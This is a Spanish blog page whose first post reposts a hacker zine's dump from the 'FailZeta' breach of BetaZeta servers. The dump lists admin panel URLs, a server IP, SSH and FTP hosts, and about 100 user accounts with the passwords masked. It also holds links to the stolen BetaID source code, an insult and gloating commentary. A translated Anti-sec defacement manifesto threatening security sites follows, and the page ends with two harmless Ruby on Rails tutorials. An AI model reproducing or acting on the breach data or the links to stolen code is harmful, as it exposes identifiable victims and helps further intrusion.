Root Blog: /public_html/blog/

http://www.betazeta.com/wp-admin/
User: admin
Pass: ********

zimio.com (SCP)
User: zimio
Pass: ********

betazeta.com
FTP
User: betazeta
Pass: ********

wayerless.com
FTP
User: wayerless
Pass: ********

zetacorp.net
FTP
User: zetacorp
Pass: ********


Plesk
URL: https://64.13.250.71:8443
Username:admin
Password:********

SSH
Host: saborizante.com
User: efernadez
Pass: ********

Root
Pass: ********

Sites
Path: /var/www/vhosts/dominio

User name: eft0
Password : ********
http://betazetanet.seework.com

http://devwayerles.i2b.cl
Username: admin
Password: ********

BetaID
user: lpinto pass: ********
user: perovi pass: ********
user: nestorcarrasco pass: ********
user: volkova pass: ********
user: melkorazo pass: ********
user: melkorazo pass: ********
user: patofuqs pass: ********
user: patofuqs pass: ********
user: patofuqs pass: ********
user: patofuqs pass: ********
user: gagoner pass: ********
user: claudiomix pass: ********
user: Vidal pass: ********
user: vidal pass: ********
user: lorena pass: ********
user: Polin pass: ********
user: derangedwolf pass: ********
user: darkoy pass: ********
user: darkjano pass: ********
user: hetnet pass: ********
user: hetnet pass: ********
user: nivyii pass: ********
user: nivyii pass: ********
user: serroba pass: ********
user: don juan pass: ********
user: donjuan pass: ********
user: grouchomarx pass: ********
user: grouchomarx pass: ********
user: Evadix pass: ********
user: doruku pass: ********
user: neuroshark pass: ********
user: neuroshark pass: ********
user: andyolivares pass: ********
user: andyolivares pass: ********
user: firexcool pass: ********
user: noquierouser pass: ********
user: Ecodrive pass: ********
user: ecodrive pass: ********
user: masteralfe pass: ********
user: Juako pass: ********
user: talkover pass: ********
user: davidqs pass: ********
user: Thefx pass: ********
user: thefx pass: ********
user: sprite pass: ********
user: nachx00 pass: ********
user: nachx00 pass: ********
user: pass: ********
user: vagrant pass: ********
user: forbidden pass: ********
user: payazo pass: ********
user: mescalier pass: ********
user: ruffox pass: ********
user: khalebd pass: ********
user: fako85 pass: ********
user: patus pass: ********
user: jorge pass: ********
user: dsalgado pass: ********
user: joseph pass: ********
user: joseph pass: ********
user: manuel pass: ********
user: suikakuyu pass: ********
user: suikakuyu pass: ********
user: eduardo pass: ********
user: paz pass: ********
user: paz pass: ********
user: dickinsonh2k pass: ********
user: clarkxp pass: ********
user: laura pass: ********
user: Marmota pass: ********
user: zirex pass: ********
user: chinito46 pass: ********
user: lukas pass: ********
user: lukas pass: ********
user: Esperpento pass: ********
user: rvs pass: ********
user: davdor pass: ********
user: kmepartaunrayo pass: ********
user: hiroki pass: ********
user: jf10 pass: ********
user: ail pass: ********
user: JanoMac pass: ********
user: eldarberserker pass: ********
user: Nanolethal pass: ********
user: necrox pass: ********
user: rkstro pass: ********
user: Elias pass: ********
user: antony pass: ********+
user: turbomaster pass: ********
user: turbomaster pass: ********
user: turbomaster pass: ********
user: Foxtrot pass: ********
user: vortex pass: ********
user: vortex pass: ********
user: francofa pass: ********
user: saint pass: ********
user: wurrzag pass: ********
user: wurrzag pass: ********
user: wurrzag pass: ********
user: wurrzag pass: ********
user: infositio pass: ********
user: camilo_dxmg@live pass: ********
user: zector pass: ********
user: chokolat pass: ********
user: andru pass: ********
user: angrod pass: ********
user: elmono pass: ********


-------------------------------------------------------------------------------
]====== 0x06 ======[ Extras
/* Do you remember when CHW was erradicated?
* Oh wait. Remember bootlog too? ;-)
* -- That's was the OPPORTUNITY which BetaZeta has to set a REAL security-policy
*
* Wanna download the betaid source code? Here:
*
* http://rapidshare.com/files/254417420/betaid.org.zip.html
* http://www.megaupload.com/?d=8FT5KYTP
*
*
* Direct message to JF: Be more humble, piece of shit.
* Seeya in the next issue!
*/



/* Dud3s! Y0u've been pwn3d by teletubbies! */

EOF


Los servidores afectados fueron todos los de BetaZeta (por eso el ataque se llamó FailZeta). Realmente les dieron duro. Los dejaron... DESNUDOS!

La gente de FayerWayer aún está llorando por Twitter y por otros sitios, pero creo que en lugar de llorar y decir que la seguridad de sus servidores no fue comprometida deberían aprender la lección:

No utilicen contraseñas de niños si tienen servicios conocidos o populares en internet, porque puede venir un teletubbie y ZAZZZZ en toda la boca, pa' que aprendan a ser serios ;)

Esta si que ha sido una noche realmente movida YAY! xD

Actualizado: Por petición de la gente de FayerWayer he quitado todas las contraseñas de los usuarios involucrados

Imageshack hackeado!

viernes, julio 10, 2009

Hace unos minutos estaba cambiando un poco el look & feel del blog y cuando recargo la página me encuentro con que la imagen de fondo (almacenada en imageshack) se ve un poco... diferente :S



Al parecer un grupo en contra del "acceso total" que ofrecen grandes compañias para vender sus rancios firewalls, antivirus famélicos y otros programas escatológicos para "ayudar" a la gente han decidido hacer escuchar su voz a través de un servicio tan concurrido como Imageshack.

Después del salto pueden ver la imagen que ha colocado el grupo en su completa extensión.



A continuación traduzco textualmente:

imageshack

Presenta con orgullo...

Anti-sec. Somos un movimiento dedicado a la erradicación del acceso total. Quisimos darle a todos una imagen de lo que nos referimos.

El acceso total es el acceso a los exploits públicos - en todas partes. La industria de la seguridad usa el acceso total para beneficiarse y desarrollar tácticas de terro para convencer a la gente de comprar sus firewalls, anti-virus y servicios de auditoría.

Mientras tanto, scripts de juguete copian y pegan esos exploits y los compilan, listos para atacar a todos los servidores vulnerables que puedan. Si los de cuello blanco realmente estuvieran por la seguridad esta cosa no se publicaría, ni siquiera exploits con ediciones tontas para hacerlos ligeramente inusables.

Como bono adicional, si la publicación no fuera suficiente, esos exploits se replican y distribuyen ampliamente a través de Internet con una linda publicidad incrustada en ellos para el equipo o website que expusó primero la vulnerabilidad al público.

Es por dinero. Mientras resulta difícil cambiar el mundo, y el dinero ciertamente continua siendo importante en ojos de muchos, nuestra batalla es por la remoción del acceso total con la finalidad de ponérsela difícil a la industría de la seguridad y explotar sus consecuencias.

Es nuestra meta que, a través de la mutilación y la destrucción de todos las comunidades perjudiciales, de exploits, compañías e individuos, el acceso total sea abandonado y la industria de la seguridad se vea forzada a reformarse.

¿Cómo pretendemos lograr esto? A través de la eliminación completa, implacable y sin piedad de todos los que apoyan el acceso total y a la industria de la seguridad en su forma actual. Si posees un blog sobre seguridad, sitios web de publicación de exploits o distribuyes cualquier exploit... "eres un objetivo y serás eliminado. Solo es cuestión de tiempo."

Esto no es como antes. Esta vez todos y todo será poseido

Firma: El Movimiento Anti-sec

Ninguna imagen fue herida en la elaboración de esta... imagen.


¿Interesante no? Saludos

Ruby on Rails Inflector en español

lunes, junio 22, 2009

El módulo Inflectors de Ruby on Rails transforma palabras de singular a plural, nombres de clases a nombres de tablas, nombres de clases a claves foráneas, entre otros. Sin embargo éste módulo no soporta pluralización en español.

Si quieremos reemplazar la pluralización que trae por defecto Rails (inglés) y crear la nuestra en español solo debemos agregar estas reglas al final del archivo config/environment.rb:

# Limpiamos todas las inflecciones existentes
Inflector.inflections.clear

# Agregamos las reglas de inflección
Inflector.inflections do |inflect|
inflect.plural /([taeiou])([A-Z]|_|\$)/, '\1s\2'
inflect.plural /([rlnd])([A-Z]|_|$)/, '\1es\2'
inflect.singular /([taeiou])s([A-Z]|_|$)/, '\1\2'
inflect.singular /([rlnd])es([A-Z]|_|$)/, '\1\2'
end

La primera regla dice algo como: "Todas las palabras que terminen en t, a, e, i, o, u y que luego tengan una letra mayúscula, un underscore o un fin de línea entonces se pluralizan con S", mientras que la segunda regla dice: "Todas las palabras que terminen en r, l, n, d y que luego tengan una letra mayúscula, un underscore o un fin de línea entonces se pluralizan con ES". Las reglas tres y cuatro se interpretan siguiendo el mismo criterio pero de forma inversa. Así, "casa" se pluraliza como "casas" y "canción" se pluraliza como "canciones".

Dejaré como tarea para el lector estudiar de manera detallada las expresiones regulares usadas en las reglas, pero les dejaré una pista:
Es necesario recordar que en una expresión regular los paréntesis son signos de agrupación y cada expresión entre paréntesis corresponde a un grupo. Se puede hacer referencia a la expresión asociada a un grupo mediante una barra invertida "\" y el número del grupo. Es por eso que en la expresión regular del Inflector se usa el \1 y el \2

Con el código anterior ya tenemos configurada nuestra pluralización en español. Podemos probarla agregando el código a un proyecto existente y abriendo una consola de Rails:
$ cd proyecto_existente_de_rails
$ script/console
Loading development environment.
>>'prueba'.pluralize
=> "pruebas"

Observamos que ahora el string 'prueba' está en plural. Sin embargo existe un bug en la versión 1.2.6 de Rails (quizás esté corregido en las versiones posteriores pero aún no lo he confirmado) y es que si intentamos pluralizar un string que contenga expresiones que cumplan ambos patrones del inflector entonces obtendremos una sola palabra pluralizada, por ejemplo:
>>'prueba_cancion'.pluralize
=> "prueba_canciones"

Se debe extender la clase Inflector y modificar los métodos pluralize y singularize. El código lo podemos insertar en el mismo archivo config/environment.rb y sería algo como:

# Extender la clase Inflector
module Inflector
def pluralize(word)
result = word.to_s.dup

if word.empty? || inflections.uncountables.include?(result.downcase)
result
else
inflections.plurals.each { |(rule, replacement)| result.gsub!(rule, replacement) }
result
end
end

def singularize(word)
result = word.to_s.dup
if inflections.uncountables.include?(result.downcase)
result
else
inflections.singulars.each { |(rule, replacement)| result.gsub!(rule, replacement) }
result
end
end
end

Si revisamos el código fuente de los métodos pluralize y singularize veremos que la diferencia está en la instrucción break if en las líneas 112 y 132 respectivamente:
112:   inflections.plurals.each { |(rule, replacement)| break if result.gsub!(rule, replacement) }
...
132: inflections.singulars.each { |(rule, replacement)| break if result.gsub!(rule, replacement) }

Solo debemos eliminar ese par de instrucciones para que entonces la regla sea aplicable a más de un patrón al mismo tiempo.

Por los momentos es todo. Espero sea de utilidad este pequeño pero interesante tip

La Aventura de Ruby on Rails (Parte 3): Hola Mundo

martes, abril 21, 2009


Con la instalación de Rails obtenemos un nuevo comando de consola, rails, que se usa para construir una nueva aplicación web.

Se preguntarán: ¿Por qué demonios necesito un comando para crear un nuevo proyecto? o quizás digan: Soy un programador que dobla cucharas con la mente ¿Por qué no puedo crear mi proyecto desde cero usando mi editor de texto favorito? Bueno, de hecho, sí se puede crear un proyecto de Rails usando solo un editor de texto y algunos directorios, pero resulta que el comando rails hace un montón de magia tras la cortina para que nuestra aplicación trabaje OUT OF THE BOX con la mínima configuración explícita. Es importante resaltar que la filosofía de Rails es "Convención sobre Configuración".

Además de toda la magia para evitar la configuración, Rails tiene una estructura de directorios muy interesante y cada uno tiene una función bien definida. La imagen a continuación muestra la estructura de un proyecto llamado test:




  • app: Contiene los archivos de Modelo, Vista y Controlador

  • components: Almacena los componentes reutilizables

  • controllers: Guarda todos los controladores

  • helpers: Almacena modulos utilitarios de las vistas

  • models: Contiene todos los modelos

  • views: Almacena todas las vistas

  • config: Guarda toda la información de configuración del proyecto y los parametros de conexión a la base de datos

  • db: Contiene la información de los esquemas y de las migraciones de la base de datos

  • doc: Almacena la documentación autogenerada

  • lib: Aloja todo el código que no pertenece exclusivamente a la aplicación (plugins, etc)

  • log: Almacena los reportes producidos por la aplicación (y por el framework)

  • public: Es la cara externa de la aplicación. El servidor web lo toma como directorio base de la aplicación y lo accesible desde el navegador.

  • script: Guarda todos los scripts utilitarios de Rails

  • test: Contiene los test unitarios, test funcionales, mocks y fixtures

  • tmp: Almacena los archivos temporales de sesiones, cache y cookies

  • vendor: Cumple la misma función que lib pero para el código de terceras partes


Lo que realmente nos interesa por los momentos es la carpeta app y todo su contenido; ahí es donde ocurrirá toda la diversión xD

Vamos a crear entonces nuestra primera aplicación de prueba para demostrar los conceptos básicos. Abrimos un terminal y navegamos hasta el directorio donde queremos crear el proyecto, luego ejecutamos:

$ rails test
create
create app/controllers
create app/helpers
create app/models
.. ..
.. ..
create log/production.log
create log/development.log
create log/test.log


Ese comando crea el directorio test con toda la parafernalia y la magia de Rails (directorios, configuraciones, etc). Probemos ahora el script utilitario server para cargar WEBrick (un servidor web que trae Ruby por defecto) y verificar que todo está en orden.

$ ruby script/server
=> Booting WEBrick...
=> Rails application started on http://0.0.0.0:3000
=> Ctrl-C to shutdown server; call with --help for options
[2009-04-21 11:37:30] INFO WEBrick 1.3.1
[2009-04-21 11:37:30] INFO ruby 1.8.7 (2008-08-11) [i486-linux]
[2009-04-21 11:37:30] INFO WEBrick::HTTPServer#start: pid=5199 port=3000


Vamos a nuestro navegador favorito y accedemos a la aplicación con la ruta http://localhost:3000. WEBrick usa por defecto el puerto 3000 pero podemos cambiarlo al puerto de nuestra preferencia ejecutando el server con el parámetro -p y el número del puerto, por ejemplo:

$ ruby script/server -p 8080



Rails es un framework netamente MVC y como tal se basa en un flujo de información de un componente a otro. Primero acepta la solicitud proveniente de un navegador, decodifica la petición para encontrar el controlador y llama una acción de ese controlador. El controlador entonces invoca una vista particular para mostrar el resultado de vuelta al usuario.

Para crear nuestro Hola Mundo necesitamos un controlador y una vista. No hace falta un modelo ya que no estaremos trabajando con ningún tipo de datos.

Así como usamos el comando rails para generar el proyecto, usaremos el script generate para crear un controlador. Supongamos que queremos llamar a nuestro controlador Prueba:

$ ruby script/generate controller Prueba
exists app/controllers/
exists app/helpers/
create app/views/prueba
exists test/functional/
create app/controllers/prueba_controller.rb
create test/functional/prueba_controller_test.rb
create app/helpers/prueba_helper.rb


El controlador se ha creado en app/controllers/prueba_controller.rb. Si examinamos el código fuente veremos algo como:

class PruebaController < ApplicationController
end


El controlador es bastante simple, una clase PruebaController que hereda de ApplicationController y por consiguiente tiene todos sus métodos. Es importante resaltar que Rails usa una convención de nombres que poco a poco iremos conociendo, por ejemplo para los nombres de las clases usa el estilo CamelCase, para los nombres de los métodos usa minúsculas separadas por guión bajo y así sucesivamente.

Ahora nos toca personalizar un poco nuestra nueva clase; agreguemos una acción llamada saludar:

class PruebaController < ApplicationController
def saludar
end
end


Por los momentos la acción saludar no hará nada porque la tarea del controlador es preparar el terreno y la información para que la vista sepa qué mostrar. En esta aplicación no hay nada que preparar, así que una acción vacía será más que suficiente.

Veamos como acceder a esta nueva acción. Rails asocia las URL con la aplicación; la primera parte de la URL identifica la aplicación, la siguiente el controlador y la última la acción a invocar. El siguiente ejemplo ilustra mejor:



Si vamos a esa URL en nuestro navegador veremos una página como la siguiente:



No hay que alarmarse por el error, se debe a que hemos definido un controlador con una acción pero no hemos creado una vista. Las vistas deben ir asociadas con las acciones del controlador y se almacenan en el directorio app/views. Allí deberiamos tener un directorio por cada controlador creado y dentro de esos directorios van las vistas de cada acción. En este caso debemos crear una vista llamada saludar.rhtml dentro del directorio app/views/prueba. El código fuente de esa vista debería ser algo como:

<html>
<head>
<title>Hola Mundo</title>
</head>
<body>
<h1>Hola Mundo! desde Rails</h1>
</body>
</html>


Intentemos de nuevo abrir la dirección http://locahost:3000/prueba/saludar en nuestro navegador y voilá! Ahora si tenemos una vista =D



Hasta el momento nuestra página es vulgar y aburrida... vamos a cambiar esa situación; ¡agreguemos contenido más dinámico!

Una de las formas más simples de añadir contenido dinámico a una vista es incrustando código Ruby al más puro estilo PHP. Las vistas deben tener extensión .rhtml, porque de esa forma le indicamos a Rails que ese archivo debe ser interpretado usando el sistema ERb (de Embbeded Ruby).

Todo el contenido escrito en HTML es pasado al navegador directamente pero el contenido que esté encerrado entre los símbolos <%= y %> es intrepetado y ejecutado como código Ruby. El resultado de esa ejecución se convierte a cadena de texto y se reemplaza in situ por la secuencia anterior para entonces generar una salida HTML pura hacía el navegador.

Aclarado ese punto pasemos al controlador para preparar la información que mostrará la vista. Calculemos, por ejemplo, la hora actual agregando unas líneas al controlador. El código debería quedar así:

class PruebaController < ApplicationController
def saludar
t = Time.now
@time = t.strftime('%H:%m:%S')
end
end


Y ahora actualizamos la vista para que muestre la variable @time:

<html>
<head>
<title>Hola Mundo!</title>
</head>
<body>
<h1>Hola Mundo! desde Rails</h1>
<p>Son las <%= @time %></p>
</body>
</html>


Ruby suele definir las variables de una clase con una arroba (@) al comienzo del nombre. Para enviar contenido a la vista usamos estas variables de instancia del controlador, pero... ¿Cómo puede la vista leer una variable que es privada del controlador? Pues sencillo, Rails hace una de David Cooperfield para que la vista pueda leer a la fulana variable xD.

Sin más preámbulo, nuestra aplicación debería verse así:



Esta página no es la madre del dinamismo pero al menos cambiará con cada actualización xD

Aquí termina el Hola Mundo. Más adelante estaré publicando una aplicación un poco más elaborada donde se use una base de datos e interactuemos con los modelos.

Cambio y fuera.